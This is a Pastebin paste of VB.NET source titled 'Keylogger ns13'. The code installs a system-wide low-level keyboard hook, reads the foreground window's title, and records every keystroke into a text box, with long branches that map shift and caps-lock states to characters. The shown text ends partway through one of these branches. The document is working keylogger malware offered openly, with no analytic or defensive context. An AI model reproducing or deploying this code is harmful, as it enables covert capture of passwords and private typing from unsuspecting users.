Advertisement
RieqyNS13

Keylogger ns13

Jul 27th, 2011
426
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 40.37 KB | None | 0 0
  1. Public Class Form1
  2.     Public Class KeyboardHook
  3.         Private Const HC_ACTION As Integer = 0
  4.         Private Const WH_KEYBOARD_LL As Integer = 13
  5.         Private Const WM_KEYDOWN = &H100
  6.         Private Const WM_KEYUP = &H101
  7.         Private Const WM_SYSKEYDOWN = &H104
  8.         Private Const WM_SYSKEYUP = &H105
  9.  
  10.         Private Structure KBDLLHOOKSTRUCT
  11.             Public vkCode As Integer
  12.             Public scancode As Integer
  13.             Public flags As Integer
  14.             Public time As Integer
  15.             Public dwExtraInfo As Integer
  16.         End Structure
  17.  
  18.         Private Declare Function SetWindowsHookEx Lib "user32" _
  19.         Alias "SetWindowsHookExA" _
  20.         (ByVal idHook As Integer, _
  21.         ByVal lpfn As KeyboardProcDelegate, _
  22.         ByVal hmod As Integer, _
  23.         ByVal dwThreadId As Integer) As Integer
  24.  
  25.         Private Declare Function CallNextHookEx Lib "user32" _
  26.         (ByVal hHook As Integer, _
  27.         ByVal nCode As Integer, _
  28.         ByVal wParam As Integer, _
  29.         ByVal lParam As KBDLLHOOKSTRUCT) As Integer
  30.  
  31.         Private Declare Function UnhookWindowsHookEx Lib "user32" _
  32.         (ByVal hHook As Integer) As Integer
  33.  
  34.  
  35.         Private Delegate Function KeyboardProcDelegate _
  36.         (ByVal nCode As Integer, _
  37.         ByVal wParam As Integer, _
  38.         ByRef lParam As KBDLLHOOKSTRUCT) As Integer
  39.  
  40.  
  41.         Public Shared Event KeyDown(ByVal Key As Keys)
  42.         Public Shared Event KeyUp(ByVal Key As Keys)
  43.  
  44.         Private Shared KeyHook As Integer
  45.  
  46.         Private Shared KeyHookDelegate As KeyboardProcDelegate
  47.  
  48.         Public Sub New()
  49.  
  50.             KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc)
  51.             KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
  52.         End Sub
  53.  
  54.         Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
  55.  
  56.             If (nCode = HC_ACTION) Then
  57.                 Select Case wParam
  58.  
  59.                     Case WM_KEYDOWN, WM_SYSKEYDOWN
  60.  
  61.                         RaiseEvent KeyDown(CType(lParam.vkCode, Keys))
  62.                     Case WM_KEYUP, WM_SYSKEYUP
  63.  
  64.                         RaiseEvent KeyUp(CType(lParam.vkCode, Keys))
  65.                 End Select
  66.             End If
  67.  
  68.             Return CallNextHookEx(KeyHook, nCode, wParam, lParam)
  69.         End Function
  70.         Protected Overrides Sub Finalize()
  71.  
  72.             UnhookWindowsHookEx(KeyHook)
  73.             MyBase.Finalize()
  74.         End Sub
  75.     End Class
  76.     Private WithEvents kbHook As New KeyboardHook
  77.     Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
  78.     Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
  79.     Dim strin As String = Nothing
  80.     Private Function GetActiveWindowTitle() As String
  81.         Dim MyStr As String
  82.         MyStr = New String(Chr(0), 100)
  83.         GetWindowText(GetForegroundWindow, MyStr, 100)
  84.         MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
  85.         Return MyStr
  86.     End Function
  87.     Sub shiftandcaps(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyDown
  88.         If My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = False Then
  89.             If Key = Keys.A Then
  90.                 TextBox1.Text = TextBox1.Text & "a"
  91.             ElseIf Key = Keys.B Then
  92.                 TextBox1.Text = TextBox1.Text & "b"
  93.             ElseIf Key = Keys.C Then
  94.                 TextBox1.Text = TextBox1.Text & "c"
  95.             ElseIf Key = Keys.D Then
  96.                 TextBox1.Text = TextBox1.Text & "d"
  97.             ElseIf Key = Keys.E Then
  98.                 TextBox1.Text = TextBox1.Text & "e"
  99.             ElseIf Key = Keys.F Then
  100.                 TextBox1.Text = TextBox1.Text & "f"
  101.             ElseIf Key = Keys.G Then
  102.                 TextBox1.Text = TextBox1.Text & "g"
  103.             ElseIf Key = Keys.H Then
  104.                 TextBox1.Text = TextBox1.Text & "h"
  105.             ElseIf Key = Keys.I Then
  106.                 TextBox1.Text = TextBox1.Text & "i"
  107.             ElseIf Key = Keys.J Then
  108.                 TextBox1.Text = TextBox1.Text & "j"
  109.             ElseIf Key = Keys.K Then
  110.                 TextBox1.Text = TextBox1.Text & "k"
  111.             ElseIf Key = Keys.L Then
  112.                 TextBox1.Text = TextBox1.Text & "l"
  113.             ElseIf Key = Keys.M Then
  114.                 TextBox1.Text = TextBox1.Text & "m"
  115.             ElseIf Key = Keys.N Then
  116.                 TextBox1.Text = TextBox1.Text & "n"
  117.             ElseIf Key = Keys.O Then
  118.                 TextBox1.Text = TextBox1.Text & "o"
  119.             ElseIf Key = Keys.P Then
  120.                 TextBox1.Text = TextBox1.Text & "p"
  121.             ElseIf Key = Keys.Q Then
  122.                 TextBox1.Text = TextBox1.Text & "q"
  123.             ElseIf Key = Keys.R Then
  124.                 TextBox1.Text = TextBox1.Text & "r"
  125.             ElseIf Key = Keys.S Then
  126.                 TextBox1.Text = TextBox1.Text & "s"
  127.             ElseIf Key = Keys.T Then
  128.                 TextBox1.Text = TextBox1.Text & "t"
  129.             ElseIf Key = Keys.U Then
  130.                 TextBox1.Text = TextBox1.Text & "u"
  131.             ElseIf Key = Keys.V Then
  132.                 TextBox1.Text = TextBox1.Text & "v"
  133.             ElseIf Key = Keys.W Then
  134.                 TextBox1.Text = TextBox1.Text & "w"
  135.             ElseIf Key = Keys.X Then
  136.                 TextBox1.Text = TextBox1.Text & "x"
  137.             ElseIf Key = Keys.Y Then
  138.                 TextBox1.Text = TextBox1.Text & "y"
  139.             ElseIf Key = Keys.Z Then
  140.                 TextBox1.Text = TextBox1.Text & "z"
  141.             ElseIf Key = Keys.D0 Then
  142.                 TextBox1.Text = TextBox1.Text & "0"
  143.             ElseIf Key = Keys.D1 Then
  144.                 TextBox1.Text = TextBox1.Text & "1"
  145.             ElseIf Key = Keys.D2 Then
  146.                 TextBox1.Text = TextBox1.Text & "2"
  147.             ElseIf Key = Keys.D3 Then
  148.                 TextBox1.Text = TextBox1.Text & "3"
  149.             ElseIf Key = Keys.D4 Then
  150.                 TextBox1.Text = TextBox1.Text & "4"
  151.             ElseIf Key = Keys.D5 Then
  152.                 TextBox1.Text = TextBox1.Text & "5"
  153.             ElseIf Key = Keys.D6 Then
  154.                 TextBox1.Text = TextBox1.Text & "6"
  155.             ElseIf Key = Keys.D7 Then
  156.                 TextBox1.Text = TextBox1.Text & "7"
  157.             ElseIf Key = Keys.D8 Then
  158.                 TextBox1.Text = TextBox1.Text & "8"
  159.             ElseIf Key = Keys.D9 Then
  160.                 TextBox1.Text = TextBox1.Text & "9"
  161.             ElseIf Key = Keys.NumPad0 Then
  162.                 TextBox1.Text = TextBox1.Text & "0"
  163.             ElseIf Key = Keys.NumPad1 Then
  164.                 TextBox1.Text = TextBox1.Text & "1"
  165.             ElseIf Key = Keys.NumPad2 Then
  166.                 TextBox1.Text = TextBox1.Text & "2"
  167.             ElseIf Key = Keys.NumPad3 Then
  168.                 TextBox1.Text = TextBox1.Text & "3"
  169.             ElseIf Key = Keys.NumPad4 Then
  170.                 TextBox1.Text = TextBox1.Text & "4"
  171.             ElseIf Key = Keys.NumPad5 Then
  172.                 TextBox1.Text = TextBox1.Text & "5"
  173.             ElseIf Key = Keys.NumPad6 Then
  174.                 TextBox1.Text = TextBox1.Text & "6"
  175.             ElseIf Key = Keys.NumPad7 Then
  176.                 TextBox1.Text = TextBox1.Text & "7"
  177.             ElseIf Key = Keys.NumPad8 Then
  178.                 TextBox1.Text = TextBox1.Text & "8"
  179.             ElseIf Key = Keys.NumPad9 Then
  180.                 TextBox1.Text = TextBox1.Text & "9"
  181.             ElseIf Key = Keys.Oemcomma Then
  182.                 TextBox1.Text = TextBox1.Text & ","
  183.             ElseIf Key = Keys.OemMinus Then
  184.                 TextBox1.Text = TextBox1.Text & "-"
  185.             ElseIf Key = Keys.OemQuotes Then
  186.                 TextBox1.Text = TextBox1.Text & "'"
  187.             ElseIf Key = Keys.OemOpenBrackets Then
  188.                 TextBox1.Text = TextBox1.Text & "["
  189.             ElseIf Key = Keys.OemCloseBrackets Then
  190.                 TextBox1.Text = TextBox1.Text & "]"
  191.             ElseIf Key = Keys.OemQuestion Then
  192.                 TextBox1.Text = TextBox1.Text & "/"
  193.             ElseIf Key = Keys.OemPipe Then
  194.                 TextBox1.Text = TextBox1.Text & "\"
  195.             ElseIf Key = Keys.Oem1 Then
  196.                 TextBox1.Text = TextBox1.Text & ";"
  197.             ElseIf Key = Keys.OemPeriod Then
  198.                 TextBox1.Text = TextBox1.Text & "."
  199.             ElseIf Key = Keys.Oemtilde Then
  200.                 TextBox1.Text = TextBox1.Text & "`"
  201.             ElseIf Key = Keys.Space Then
  202.                 TextBox1.Text = TextBox1.Text & " "
  203.             ElseIf Key = Keys.Enter Then
  204.                 TextBox1.Text = TextBox1.Text & vbNewLine
  205.             ElseIf Key = Keys.F1 Then
  206.                 TextBox1.Text = TextBox1.Text & "[F1]"
  207.             ElseIf Key = Keys.F2 Then
  208.                 TextBox1.Text = TextBox1.Text & "[F2]"
  209.             ElseIf Key = Keys.F3 Then
  210.                 TextBox1.Text = TextBox1.Text & "[F3]"
  211.             ElseIf Key = Keys.F4 Then
  212.                 TextBox1.Text = TextBox1.Text & "[F4]"
  213.             ElseIf Key = Keys.F5 Then
  214.                 TextBox1.Text = TextBox1.Text & "[F5]"
  215.             ElseIf Key = Keys.F6 Then
  216.                 TextBox1.Text = TextBox1.Text & "[F6]"
  217.             ElseIf Key = Keys.F7 Then
  218.                 TextBox1.Text = TextBox1.Text & "[F7]"
  219.             ElseIf Key = Keys.F8 Then
  220.                 TextBox1.Text = TextBox1.Text & "[F8]"
  221.             ElseIf Key = Keys.F9 Then
  222.                 TextBox1.Text = TextBox1.Text & "[F9]"
  223.             ElseIf Key = Keys.F10 Then
  224.                 TextBox1.Text = TextBox1.Text & "[F10]"
  225.             ElseIf Key = Keys.F11 Then
  226.                 TextBox1.Text = TextBox1.Text & "[F11]"
  227.             ElseIf Key = Keys.F12 Then
  228.                 TextBox1.Text = TextBox1.Text & "[F12]"
  229.             ElseIf Key = Keys.Delete Then
  230.                 TextBox1.Text = TextBox1.Text & "[DEL]"
  231.             ElseIf Key = Keys.Back Then
  232.                 TextBox1.Text = TextBox1.Text & "[DEL]"
  233.             ElseIf Key = Keys.Down Then
  234.                 TextBox1.Text = TextBox1.Text & "?"
  235.             ElseIf Key = Keys.Up Then
  236.                 TextBox1.Text = TextBox1.Text & "?"
  237.             ElseIf Key = Keys.Left Then
  238.                 TextBox1.Text = TextBox1.Text & "?"
  239.             ElseIf Key = Keys.Right Then
  240.                 TextBox1.Text = TextBox1.Text & "?"
  241.             ElseIf Key = Keys.Tab Then
  242.                 TextBox1.Text = TextBox1.Text & "[TAB]"
  243.             ElseIf Key = Keys.End Then
  244.                 TextBox1.Text = TextBox1.Text & "[END]"
  245.             ElseIf Key = Keys.Escape Then
  246.                 TextBox1.Text = TextBox1.Text & "[ESC]"
  247.             ElseIf Key = Keys.Divide Then
  248.                 TextBox1.Text = TextBox1.Text & "/"
  249.             ElseIf Key = Keys.Decimal Then
  250.                 TextBox1.Text = TextBox1.Text & "."
  251.             ElseIf Key = Keys.Subtract Then
  252.                 TextBox1.Text = TextBox1.Text & "-"
  253.             ElseIf Key = Keys.Add Then
  254.                 TextBox1.Text = TextBox1.Text & "+"
  255.             ElseIf Key = Keys.Multiply Then
  256.                 TextBox1.Text = TextBox1.Text & "*"
  257.             End If
  258.         ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
  259.             If Key = Keys.A Then
  260.                 TextBox1.Text = TextBox1.Text & "A"
  261.             ElseIf Key = Keys.B Then
  262.                 TextBox1.Text = TextBox1.Text & "B"
  263.             ElseIf Key = Keys.C Then
  264.                 TextBox1.Text = TextBox1.Text & "C"
  265.             ElseIf Key = Keys.D Then
  266.                 TextBox1.Text = TextBox1.Text & "D"
  267.             ElseIf Key = Keys.E Then
  268.                 TextBox1.Text = TextBox1.Text & "E"
  269.             ElseIf Key = Keys.F Then
  270.                 TextBox1.Text = TextBox1.Text & "F"
  271.             ElseIf Key = Keys.G Then
  272.                 TextBox1.Text = TextBox1.Text & "G"
  273.             ElseIf Key = Keys.H Then
  274.                 TextBox1.Text = TextBox1.Text & "H"
  275.             ElseIf Key = Keys.I Then
  276.                 TextBox1.Text = TextBox1.Text & "I"
  277.             ElseIf Key = Keys.J Then
  278.                 TextBox1.Text = TextBox1.Text & "J"
  279.             ElseIf Key = Keys.K Then
  280.                 TextBox1.Text = TextBox1.Text & "K"
  281.             ElseIf Key = Keys.L Then
  282.                 TextBox1.Text = TextBox1.Text & "L"
  283.             ElseIf Key = Keys.M Then
  284.                 TextBox1.Text = TextBox1.Text & "M"
  285.             ElseIf Key = Keys.N Then
  286.                 TextBox1.Text = TextBox1.Text & "N"
  287.             ElseIf Key = Keys.O Then
  288.                 TextBox1.Text = TextBox1.Text & "O"
  289.             ElseIf Key = Keys.P Then
  290.                 TextBox1.Text = TextBox1.Text & "P"
  291.             ElseIf Key = Keys.Q Then
  292.                 TextBox1.Text = TextBox1.Text & "Q"
  293.             ElseIf Key = Keys.R Then
  294.                 TextBox1.Text = TextBox1.Text & "R"
  295.             ElseIf Key = Keys.S Then
  296.                 TextBox1.Text = TextBox1.Text & "S"
  297.             ElseIf Key = Keys.T Then
  298.                 TextBox1.Text = TextBox1.Text & "T"
  299.             ElseIf Key = Keys.U Then
  300.                 TextBox1.Text = TextBox1.Text & "U"
  301.             ElseIf Key = Keys.V Then
  302.                 TextBox1.Text = TextBox1.Text & "V"
  303.             ElseIf Key = Keys.W Then
  304.                 TextBox1.Text = TextBox1.Text & "W"
  305.             ElseIf Key = Keys.X Then
  306.                 TextBox1.Text = TextBox1.Text & "X"
  307.             ElseIf Key = Keys.Y Then
  308.                 TextBox1.Text = TextBox1.Text & "Y"
  309.             ElseIf Key = Keys.Z Then
  310.                 TextBox1.Text = TextBox1.Text & "Z"
  311.             ElseIf Key = Keys.D0 Then
  312.                 TextBox1.Text = TextBox1.Text & "0"
  313.             ElseIf Key = Keys.D1 Then
  314.                 TextBox1.Text = TextBox1.Text & "1"
  315.             ElseIf Key = Keys.D2 Then
  316.                 TextBox1.Text = TextBox1.Text & "2"
  317.             ElseIf Key = Keys.D3 Then
  318.                 TextBox1.Text = TextBox1.Text & "3"
  319.             ElseIf Key = Keys.D4 Then
  320.                 TextBox1.Text = TextBox1.Text & "4"
  321.             ElseIf Key = Keys.D5 Then
  322.                 TextBox1.Text = TextBox1.Text & "5"
  323.             ElseIf Key = Keys.D6 Then
  324.                 TextBox1.Text = TextBox1.Text & "6"
  325.             ElseIf Key = Keys.D7 Then
  326.                 TextBox1.Text = TextBox1.Text & "7"
  327.             ElseIf Key = Keys.D8 Then
  328.                 TextBox1.Text = TextBox1.Text & "8"
  329.             ElseIf Key = Keys.D9 Then
  330.                 TextBox1.Text = TextBox1.Text & "9"
  331.             ElseIf Key = Keys.NumPad0 Then
  332.                 TextBox1.Text = TextBox1.Text & "0"
  333.             ElseIf Key = Keys.NumPad1 Then
  334.                 TextBox1.Text = TextBox1.Text & "1"
  335.             ElseIf Key = Keys.NumPad2 Then
  336.                 TextBox1.Text = TextBox1.Text & "2"
  337.             ElseIf Key = Keys.NumPad3 Then
  338.                 TextBox1.Text = TextBox1.Text & "3"
  339.             ElseIf Key = Keys.NumPad4 Then
  340.                 TextBox1.Text = TextBox1.Text & "4"
  341.             ElseIf Key = Keys.NumPad5 Then
  342.                 TextBox1.Text = TextBox1.Text & "5"
  343.             ElseIf Key = Keys.NumPad6 Then
  344.                 TextBox1.Text = TextBox1.Text & "6"
  345.             ElseIf Key = Keys.NumPad7 Then
  346.                 TextBox1.Text = TextBox1.Text & "7"
  347.             ElseIf Key = Keys.NumPad8 Then
  348.                 TextBox1.Text = TextBox1.Text & "8"
  349.             ElseIf Key = Keys.NumPad9 Then
  350.                 TextBox1.Text = TextBox1.Text & "9"
  351.             ElseIf Key = Keys.Oemcomma Then
  352.                 TextBox1.Text = TextBox1.Text & ","
  353.             ElseIf Key = Keys.OemMinus Then
  354.                 TextBox1.Text = TextBox1.Text & "-"
  355.             ElseIf Key = Keys.OemQuotes Then
  356.                 TextBox1.Text = TextBox1.Text & "'"
  357.             ElseIf Key = Keys.OemOpenBrackets Then
  358.                 TextBox1.Text = TextBox1.Text & "["
  359.             ElseIf Key = Keys.OemCloseBrackets Then
  360.                 TextBox1.Text = TextBox1.Text & "]"
  361.             ElseIf Key = Keys.OemQuestion Then
  362.                 TextBox1.Text = TextBox1.Text & "/"
  363.             ElseIf Key = Keys.OemPipe Then
  364.                 TextBox1.Text = TextBox1.Text & "\"
  365.             ElseIf Key = Keys.Oem1 Then
  366.                 TextBox1.Text = TextBox1.Text & ";"
  367.             ElseIf Key = Keys.OemPeriod Then
  368.                 TextBox1.Text = TextBox1.Text & "."
  369.             ElseIf Key = Keys.Oemtilde Then
  370.                 TextBox1.Text = TextBox1.Text & "`"
  371.             ElseIf Key = Keys.Space Then
  372.                 TextBox1.Text = TextBox1.Text & " "
  373.             ElseIf Key = Keys.Enter Then
  374.                 TextBox1.Text = TextBox1.Text & vbNewLine
  375.             ElseIf Key = Keys.F1 Then
  376.                 TextBox1.Text = TextBox1.Text & "[F1]"
  377.             ElseIf Key = Keys.F2 Then
  378.                 TextBox1.Text = TextBox1.Text & "[F2]"
  379.             ElseIf Key = Keys.F3 Then
  380.                 TextBox1.Text = TextBox1.Text & "[F3]"
  381.             ElseIf Key = Keys.F4 Then
  382.                 TextBox1.Text = TextBox1.Text & "[F4]"
  383.             ElseIf Key = Keys.F5 Then
  384.                 TextBox1.Text = TextBox1.Text & "[F5]"
  385.             ElseIf Key = Keys.F6 Then
  386.                 TextBox1.Text = TextBox1.Text & "[F6]"
  387.             ElseIf Key = Keys.F7 Then
  388.                 TextBox1.Text = TextBox1.Text & "[F7]"
  389.             ElseIf Key = Keys.F8 Then
  390.                 TextBox1.Text = TextBox1.Text & "[F8]"
  391.             ElseIf Key = Keys.F9 Then
  392.                 TextBox1.Text = TextBox1.Text & "[F9]"
  393.             ElseIf Key = Keys.F10 Then
  394.                 TextBox1.Text = TextBox1.Text & "[F10]"
  395.             ElseIf Key = Keys.F11 Then
  396.                 TextBox1.Text = TextBox1.Text & "[F11]"
  397.             ElseIf Key = Keys.F12 Then
  398.                 TextBox1.Text = TextBox1.Text & "[F12]"
  399.             ElseIf Key = Keys.Delete Then
  400.                 TextBox1.Text = TextBox1.Text & "[DEL]"
  401.             ElseIf Key = Keys.Back Then
  402.                 TextBox1.Text = TextBox1.Text & "[DEL]"
  403.             ElseIf Key = Keys.Down Then
  404.                 TextBox1.Text = TextBox1.Text & "?"
  405.             ElseIf Key = Keys.Up Then
  406.                 TextBox1.Text = TextBox1.Text & "?"
  407.             ElseIf Key = Keys.Left Then
  408.                 TextBox1.Text = TextBox1.Text & "?"
  409.             ElseIf Key = Keys.Right Then
  410.                 TextBox1.Text = TextBox1.Text & "?"
  411.             ElseIf Key = Keys.Tab Then
  412.                 TextBox1.Text = TextBox1.Text & "[TAB]"
  413.             ElseIf Key = Keys.End Then
  414.                 TextBox1.Text = TextBox1.Text & "[END]"
  415.             ElseIf Key = Keys.Escape Then
  416.                 TextBox1.Text = TextBox1.Text & "[ESC]"
  417.             ElseIf Key = Keys.Divide Then
  418.                 TextBox1.Text = TextBox1.Text & "/"
  419.             ElseIf Key = Keys.Decimal Then
  420.                 TextBox1.Text = TextBox1.Text & "."
  421.             ElseIf Key = Keys.Subtract Then
  422.                 TextBox1.Text = TextBox1.Text & "-"
  423.             ElseIf Key = Keys.Add Then
  424.                 TextBox1.Text = TextBox1.Text & "+"
  425.             ElseIf Key = Keys.Multiply Then
  426.                 TextBox1.Text = TextBox1.Text & "*"
  427.             End If
  428.         ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = True Then
  429.             If Key = Keys.D1 Then
  430.                 TextBox1.Text = TextBox1.Text + "!"
  431.             ElseIf Key = Keys.D2 Then
  432.                 TextBox1.Text = TextBox1.Text + "@"
  433.             ElseIf Key = Keys.D3 Then
  434.                 TextBox1.Text = TextBox1.Text + "#"
  435.             ElseIf Key = Keys.D4 Then
  436.                 TextBox1.Text = TextBox1.Text + "$"
  437.             ElseIf Key = Keys.D5 Then
  438.                 TextBox1.Text = TextBox1.Text + "%"
  439.             ElseIf Key = Keys.D6 Then
  440.                 TextBox1.Text = TextBox1.Text + "^"
  441.             ElseIf Key = Keys.D7 Then
  442.                 TextBox1.Text = TextBox1.Text + "&"
  443.             ElseIf Key = Keys.D8 Then
  444.                 TextBox1.Text = TextBox1.Text + "*"
  445.             ElseIf Key = Keys.D9 Then
  446.                 TextBox1.Text = TextBox1.Text + "("
  447.             ElseIf Key = Keys.D0 Then
  448.                 TextBox1.Text = TextBox1.Text + ")"
  449.             ElseIf Key = Keys.A Then
  450.                 TextBox1.Text = TextBox1.Text & "A"
  451.             ElseIf Key = Keys.B Then
  452.                 TextBox1.Text = TextBox1.Text & "B"
  453.             ElseIf Key = Keys.C Then
  454.                 TextBox1.Text = TextBox1.Text & "C"
  455.             ElseIf Key = Keys.D Then
  456.                 TextBox1.Text = TextBox1.Text & "D"
  457.             ElseIf Key = Keys.E Then
  458.                 TextBox1.Text = TextBox1.Text & "E"
  459.             ElseIf Key = Keys.F Then
  460.                 TextBox1.Text = TextBox1.Text & "F"
  461.             ElseIf Key = Keys.G Then
  462.                 TextBox1.Text = TextBox1.Text & "G"
  463.             ElseIf Key = Keys.H Then
  464.                 TextBox1.Text = TextBox1.Text & "H"
  465.             ElseIf Key = Keys.I Then
  466.                 TextBox1.Text = TextBox1.Text & "I"
  467.             ElseIf Key = Keys.J Then
  468.                 TextBox1.Text = TextBox1.Text & "J"
  469.             ElseIf Key = Keys.K Then
  470.                 TextBox1.Text = TextBox1.Text & "K"
  471.             ElseIf Key = Keys.L Then
  472.                 TextBox1.Text = TextBox1.Text & "L"
  473.             ElseIf Key = Keys.M Then
  474.                 TextBox1.Text = TextBox1.Text & "M"
  475.             ElseIf Key = Keys.N Then
  476.                 TextBox1.Text = TextBox1.Text & "N"
  477.             ElseIf Key = Keys.O Then
  478.                 TextBox1.Text = TextBox1.Text & "O"
  479.             ElseIf Key = Keys.P Then
  480.                 TextBox1.Text = TextBox1.Text & "P"
  481.             ElseIf Key = Keys.Q Then
  482.                 TextBox1.Text = TextBox1.Text & "Q"
  483.             ElseIf Key = Keys.R Then
  484.                 TextBox1.Text = TextBox1.Text & "R"
  485.             ElseIf Key = Keys.S Then
  486.                 TextBox1.Text = TextBox1.Text & "S"
  487.             ElseIf Key = Keys.T Then
  488.                 TextBox1.Text = TextBox1.Text & "T"
  489.             ElseIf Key = Keys.U Then
  490.                 TextBox1.Text = TextBox1.Text & "U"
  491.             ElseIf Key = Keys.V Then
  492.                 TextBox1.Text = TextBox1.Text & "V"
  493.             ElseIf Key = Keys.W Then
  494.                 TextBox1.Text = TextBox1.Text & "W"
  495.             ElseIf Key = Keys.X Then
  496.                 TextBox1.Text = TextBox1.Text & "X"
  497.             ElseIf Key = Keys.Y Then
  498.                 TextBox1.Text = TextBox1.Text & "Y"
  499.             ElseIf Key = Keys.Z Then
  500.                 TextBox1.Text = TextBox1.Text & "Z"
  501.             ElseIf Key = Keys.Oemcomma Then
  502.                 TextBox1.Text = TextBox1.Text & "<"
  503.             ElseIf Key = Keys.OemMinus Then
  504.                 TextBox1.Text = TextBox1.Text & "_"
  505.             ElseIf Key = Keys.OemOpenBrackets Then
  506.                 TextBox1.Text = TextBox1.Text & "{"
  507.             ElseIf Key = Keys.OemCloseBrackets Then
  508.                 TextBox1.Text = TextBox1.Text & "}"
  509.             ElseIf Key = Keys.OemQuestion Then
  510.                 TextBox1.Text = TextBox1.Text & "?"
  511.             ElseIf Key = Keys.OemPipe Then
  512.                 TextBox1.Text = TextBox1.Text & "|"
  513.             ElseIf Key = Keys.Oem1 Then
  514.                 TextBox1.Text = TextBox1.Text & ":"
  515.             ElseIf Key = Keys.OemPeriod Then
  516.                 TextBox1.Text = TextBox1.Text & ">"
  517.             ElseIf Key = Keys.Oemtilde Then
  518.                 TextBox1.Text = TextBox1.Text & "~"
  519.             ElseIf Key = Keys.OemQuotes Then
  520.                 TextBox1.Text = TextBox1.Text & Label1.Text
  521.             ElseIf Key = Keys.Space Then
  522.                 TextBox1.Text = TextBox1.Text & " "
  523.             ElseIf Key = Keys.Enter Then
  524.                 TextBox1.Text = TextBox1.Text & vbNewLine
  525.             ElseIf Key = Keys.F1 Then
  526.                 TextBox1.Text = TextBox1.Text & "[F1]"
  527.             ElseIf Key = Keys.F2 Then
  528.                 TextBox1.Text = TextBox1.Text & "[F2]"
  529.             ElseIf Key = Keys.F3 Then
  530.                 TextBox1.Text = TextBox1.Text & "[F3]"
  531.             ElseIf Key = Keys.F4 Then
  532.                 TextBox1.Text = TextBox1.Text & "[F4]"
  533.             ElseIf Key = Keys.F5 Then
  534.                 TextBox1.Text = TextBox1.Text & "[F5]"
  535.             ElseIf Key = Keys.F6 Then
  536.                 TextBox1.Text = TextBox1.Text & "[F6]"
  537.             ElseIf Key = Keys.F7 Then
  538.                 TextBox1.Text = TextBox1.Text & "[F7]"
  539.             ElseIf Key = Keys.F8 Then
  540.                 TextBox1.Text = TextBox1.Text & "[F8]"
  541.             ElseIf Key = Keys.F9 Then
  542.                 TextBox1.Text = TextBox1.Text & "[F9]"
  543.             ElseIf Key = Keys.F10 Then
  544.                 TextBox1.Text = TextBox1.Text & "[F10]"
  545.             ElseIf Key = Keys.F11 Then
  546.                 TextBox1.Text = TextBox1.Text & "[F11]"
  547.             ElseIf Key = Keys.F12 Then
  548.                 TextBox1.Text = TextBox1.Text & "[F12]"
  549.             ElseIf Key = Keys.Delete Then
  550.                 TextBox1.Text = TextBox1.Text & "[DEL]"
  551.             ElseIf Key = Keys.Back Then
  552.                 TextBox1.Text = TextBox1.Text & "[DEL]"
  553.             ElseIf Key = Keys.Down Then
  554.                 TextBox1.Text = TextBox1.Text & "?"
  555.             ElseIf Key = Keys.Up Then
  556.                 TextBox1.Text = TextBox1.Text & "?"
  557.             ElseIf Key = Keys.Left Then
  558.                 TextBox1.Text = TextBox1.Text & "?"
  559.             ElseIf Key = Keys.Right Then
  560.                 TextBox1.Text = TextBox1.Text & "?"
  561.             ElseIf Key = Keys.Tab Then
  562.                 TextBox1.Text = TextBox1.Text & "[TAB]"
  563.             ElseIf Key = Keys.End Then
  564.                 TextBox1.Text = TextBox1.Text & "[END]"
  565.             ElseIf Key = Keys.Escape Then
  566.                 TextBox1.Text = TextBox1.Text & "[ESC]"
  567.             ElseIf Key = Keys.Divide Then
  568.                 TextBox1.Text = TextBox1.Text & "/"
  569.             ElseIf Key = Keys.Decimal Then
  570.                 TextBox1.Text = TextBox1.Text & "."
  571.             ElseIf Key = Keys.Subtract Then
  572.                 TextBox1.Text = TextBox1.Text & "-"
  573.             ElseIf Key = Keys.Add Then
  574.                 TextBox1.Text = TextBox1.Text & "+"
  575.             ElseIf Key = Keys.Multiply Then
  576.                 TextBox1.Text = TextBox1.Text & "*"
  577.             End If
  578.         ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
  579.             If Key = Keys.D1 Then
  580.                 TextBox1.Text = TextBox1.Text + "1"
  581.             ElseIf Key = Keys.D2 Then
  582.                 TextBox1.Text = TextBox1.Text + "2"
  583.             ElseIf Key = Keys.D3 Then
  584.                 TextBox1.Text = TextBox1.Text + "3"
  585.             ElseIf Key = Keys.D4 Then
  586.                 TextBox1.Text = TextBox1.Text + "4"
  587.             ElseIf Key = Keys.D5 Then
  588.                 TextBox1.Text = TextBox1.Text + "5"
  589.             ElseIf Key = Keys.D6 Then
  590.                 TextBox1.Text = TextBox1.Text + "6"
  591.             ElseIf Key = Keys.D7 Then
  592.                 TextBox1.Text = TextBox1.Text + "7"
  593.             ElseIf Key = Keys.D8 Then
  594.                 TextBox1.Text = TextBox1.Text + "8"
  595.             ElseIf Key = Keys.D9 Then
  596.                 TextBox1.Text = TextBox1.Text + "9"
  597.             ElseIf Key = Keys.D0 Then
  598.                 TextBox1.Text = TextBox1.Text + "0"
  599.             ElseIf Key = Keys.A Then
  600.                 TextBox1.Text = TextBox1.Text & "a"
  601.             ElseIf Key = Keys.B Then
  602.                 TextBox1.Text = TextBox1.Text & "b"
  603.             ElseIf Key = Keys.C Then
  604.                 TextBox1.Text = TextBox1.Text & "c"
  605.             ElseIf Key = Keys.D Then
  606.                 TextBox1.Text = TextBox1.Text & "d"
  607.             ElseIf Key = Keys.E Then
  608.                 TextBox1.Text = TextBox1.Text & "e"
  609.             ElseIf Key = Keys.F Then
  610.                 TextBox1.Text = TextBox1.Text & "f"
  611.             ElseIf Key = Keys.G Then
  612.                 TextBox1.Text = TextBox1.Text & "g"
  613.             ElseIf Key = Keys.H Then
  614.                 TextBox1.Text = TextBox1.Text & "h"
